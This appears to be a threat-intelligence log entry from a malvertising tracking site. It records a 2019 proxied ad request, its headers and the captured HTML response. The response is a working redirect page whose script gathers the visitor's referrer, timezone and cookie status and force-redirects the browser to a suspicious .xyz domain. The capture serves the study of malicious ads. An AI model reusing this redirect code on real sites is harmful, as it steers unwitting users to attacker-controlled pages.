Proxy Request 1833b825-86b9-4b22-97a5-0ddc81c7e662

Parent Attack f0e0a47e-143d-4227-bb4f-f64e55795cbe
Date 2019-06-18 08:59:22PM
URL
paramonos-oha.com/revenge.livewp.wondercastle?adTagId=ad9d3110-108e-11e7-a687-0eda985eb958&cpm=0.02&keywords=optometrist&cb=e82feaa8-1da4-4673-9f79-2544f69b177b
Form Data ["adTagId: ad9d3110-108e-11e7-a687-0eda985eb958", "cb: e82feaa8-1da4-4673-9f79-2544f69b177b", "cpm: 0.02", "keywords: optometrist"]
Headers ["Cookie: 604f7b6f-0cd4-4d20-93c1-e91664c5b996=e9751217-920b-11e9-b99f-0a4667627cae", "Pragma: no-cache", "Referer: https://cryptofast.net/2018/11/12/stellar-plans-to-airdrop-150-million-usd-in-xlm-to-blockchain-wallet-users/", "User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-J700H Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Accept-Encoding: gzip", "Cache-Control: no-cache", "Connection: close"]
<!DOCTYPE html><HTML><HEAD><TITLE>One moment...</TITLE><META name="viewport" content="width=device-width, initial-scale=1"><META name="description" content="related content to what you are looking for"><SCRIPT type="text/javascript">var z = (new Date()).getTimezoneOffset(); try { var r = window.document.referrer; } catch(e) { r = false; } var u = 'http://rigadoonwheal.xyz/?k=852931feb85f6b0c137a14c5a7ef820e.1560891598.150.'+((navigator.cookieEnabled)?'2':'1')+'.1.aW52ZXJhY2l0eWFkb2xlc2NlbmNlLnh5eg%3D%3D'+'&subid=5d0950a8bc42d&r='+((r !== false)?escape(r):'http%3A%2F%2Fnews.zhekapty.com%2Fcontent%2Fpage.php%3Fclickid%3Deae1c172-920b-11e9-9789-0a3888b4cc4c')+'&z='+z; document.write('<META http-equiv="refresh" content="0;url='+u+'">');</SCRIPT><NOSCRIPT><META http-equiv="refresh" content="0;url=http://rigadoonwheal.xyz/?k=852931feb85f6b0c137a14c5a7ef820e.1560891598.150.0.1.aW52ZXJhY2l0eWFkb2xlc2NlbmNlLnh5eg%3D%3D&subid=5d0950a8bc42d&r=http%3A%2F%2Fnews.zhekapty.com%2Fcontent%2Fpage.php%3Fclickid%3Deae1c172-920b-11e9-9789-0a3888b4cc4c"></NOSCRIPT><META name="referrer" content="no-referrer"><link rel="icon" href="data:;base64,iVBORw0KGgo="></HEAD><BODY>&nbsp;</BODY></HTML>
© 2021 threat.gg